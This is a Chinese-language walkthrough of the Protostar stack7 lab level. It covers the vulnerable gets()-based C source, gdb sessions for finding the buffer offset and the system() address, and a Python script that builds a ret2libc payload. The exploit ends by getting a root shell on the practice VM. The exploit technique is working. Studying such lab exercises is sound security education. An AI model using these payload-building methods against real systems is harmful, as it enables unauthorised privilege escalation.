About
Stack6 introduces return to .text to gain code execution.
The metasploit tool "msfelfscan" can make searching for suitable instructions very easy, otherwise looking through objdump output will suffice.
This level is at /opt/protostar/bin/stack7
http://exploit-exercises.com/protostar/stack7
Source code
1#include <stdlib.h>
2#include <unistd.h>
3#include <stdio.h>
4#include <string.h>
5
6char *getpath()
7{
8 char buffer[64];
9 unsigned int ret;
10
11 printf("input path please: "); fflush(stdout);
12
13 gets(buffer);
14
15 ret = __builtin_return_address(0);
16
17 if((ret & 0xb0000000) == 0xb0000000) {
18 printf("bzzzt (%p)\n", ret);
19 _exit(1);
20 }
21
22 printf("got path %s\n", buffer);
23 return strdup(buffer);
24}
25
26int main(int argc, char **argv)
27{
28 getpath();
29
30
31
32}
這個題目可以利用ROP 技術,由於使用了
17 if((ret & 0xb0000000) == 0xb0000000) {
18 printf("bzzzt (%p)\n", ret);
19 _exit(1);
20 }
使用gdb來進行調試,得到EBP 和buffer之間的偏移offset, 以及經常使用的gedget ret指令的地址。
user@protostar:~$ gdb -q /opt/protostar/bin/stack7
Reading symbols from /opt/protostar/bin/stack7...done.
(gdb) disassemble main
Dump of assembler code for function main:
0x08048545 <main+0>: push %ebp
0x08048546 <main+1>: mov %esp,%ebp
0x08048548 <main+3>: and $0xfffffff0,%esp
0x0804854b <main+6>: call 0x80484c4 <getpath>
0x08048550 <main+11>: mov %ebp,%esp
0x08048552 <main+13>: pop %ebp
0x08048553 <main+14>: ret
End of assembler dump.
在這裏要說一下爲什麼使用ret指令, 因爲如果使用ret指令的地址來覆蓋getpath的返回地址, 那麼getpath返回後會直接執行ret指令,也就是pop $eip, 如果這個時候esp指向的是shellcode或者是system等可執行函數的地址, 那麼接下來就會執行我們想要執行的函數。
下面通過gdb來得到得到EBP 和buffer之間的偏移offset
user@protostar:~$ gdb -q /opt/protostar/bin/stack7
Reading symbols from /opt/protostar/bin/stack7...done.
(gdb) b 17
Breakpoint 1 at 0x80484f5: file stack7/stack7.c, line 17.
(gdb) r
Starting program: /opt/protostar/bin/stack7
input path please: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 1, getpath () at stack7/stack7.c:17
17 stack7/stack7.c: No such file or directory.
in stack7/stack7.c
(gdb) i r
eax 0x8048550 134514000
ecx 0xbffff75c -1073744036
edx 0xb7fd9334 -1208118476
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff740 0xbffff740
ebp 0xbffff7a8 0xbffff7a8
esi 0x0 0
edi 0x0 0
eip 0x80484f5 0x80484f5 <getpath+49>
eflags 0x200246 [ PF ZF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) x/32wx $esp
0xbffff740: 0xbffff75c 0x00000000 0xb7fe1b28 0x00000001
0xbffff750: 0x00000000 0x00000001 0xb7fff8f8 0x41414141
0xbffff760: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff770: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff780: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff790: 0xb7fd0041 0xb7fd7ff4 0x08048570 0x08048550
0xbffff7a0: 0xb7ec6365 0xb7ff1040 0xbffff7b8 0x08048550
0xbffff7b0: 0x08048570 0x00000000 0xbffff838 0xb7eadc76
(gdb) print $ebp - 0xbffff75c
$1 = (void *) 0x4c
(gdb) print /d $ebp - 0xbffff75c
$2 = 76
可以看到buffer的起始地址爲
0xbffff75c
EBP和buffer之間的offset 爲76
下面開始構造payload, 使用system函數,還是使用gdb來得到system函數的地址
user@protostar:~$ gdb -q /opt/protostar/bin/stack7
Reading symbols from /opt/protostar/bin/stack7...done.
(gdb) b main
Breakpoint 1 at 0x804854b: file stack7/stack7.c, line 28.
(gdb) r
Starting program: /opt/protostar/bin/stack7
Breakpoint 1, main (argc=1, argv=0xbffff864) at stack7/stack7.c:28
28 stack7/stack7.c: No such file or directory.
in stack7/stack7.c
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>
(gdb)
得到system的地址爲0xb7ecffb0
我們將system將要執行的命令,也就是system函數的參數,放到環境變量中
export PWN_SHELL7=/bin/sh
通過使用《黑客之道, 漏洞發掘的藝術》一書中提供的程序來獲取該環境變量的地址
user@protostar:~$ cat getenvaddr.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
char *ptr;
if(argc < 3) {
printf("Usage: %s <environment variable> <target program name>\n", argv[0]);
exit(0);
}
ptr = getenv(argv[1]); /* get env var location */
ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
printf("%s will be at %p\n", argv[1], ptr);
}
使用gcc編譯成可執行文件後, 得到環境變量PWN_SHELL7在stack7運行時候的地址
./getenvaddr PWN_SHELL7 /opt/protostar/bin/stack7
PWN_SHELL7 will be at 0xbfffff65
user@protostar:~$ cat pwn7.py
#!/usr/bin/env python
offset = 76
nopsled = "\x90" * offset
ret = "\x53\x85\x04\x08"
system = "\xb0\xff\xec\xb7"
system_argv = "\x65\xff\xff\xbf"
print nopsled + "FAKE" + ret + system + "FAKE" + system_argv
將上面的python輸出的payload保存到一個文件中
python pwn7.py > payload7
可以使用xxd來查看生成的payload7的16進制信息
user@protostar:~$ xxd payload7
0000000: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0000010: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0000020: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0000030: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0000040: 9090 9090 9090 9090 9090 9090 4641 4b45 ............FAKE
0000050: 5385 0408 b0ff ecb7 4641 4b45 65ff ffbf S.......FAKEe...
0000060: 0a
xxd真是一個特別好的工具, 尤其是寫exploit的時候,可以使用xxd的-i選項, 將文件的十六進制保存成數組, 並且給出長度,當然很多別的工具基本也都有這個功能
user@protostar:~$ xxd -i payload7
unsigned char payload7[] = {
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x90, 0x90, 0x90, 0x90, 0x46, 0x41, 0x4b, 0x45, 0x53, 0x85, 0x04, 0x08,
0xb0, 0xff, 0xec, 0xb7, 0x46, 0x41, 0x4b, 0x45, 0x65, 0xff, 0xff, 0xbf,
0x0a
};
unsigned int payload7_len = 97;
好的, 現在可以使用下面的命令來獲取root權限了
user@protostar:~$ (cat payload7;cat) | /opt/protostar/bin/stack7
input path please: got path ����������������������������������������������������������������S���������FAKES�����FAKEe���
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
whoami
root
爲什麼要這樣呢, 爲什麼運行下面的命令直接就coredump呢
user@protostar:~$ cat payload7 | /opt/protostar/bin/stack7
input path please: got path ����������������������������������������������������������������S���������FAKES�����FAKEe���
Segmentation fault
但是還是不太明白爲什麼EOF會導致coredump, 因爲經過gdb調試發現, 直接cat,最後的\a沒有進入到buffer中, 進入到buffer最後的是\x00,但是是在system參數地址的後面。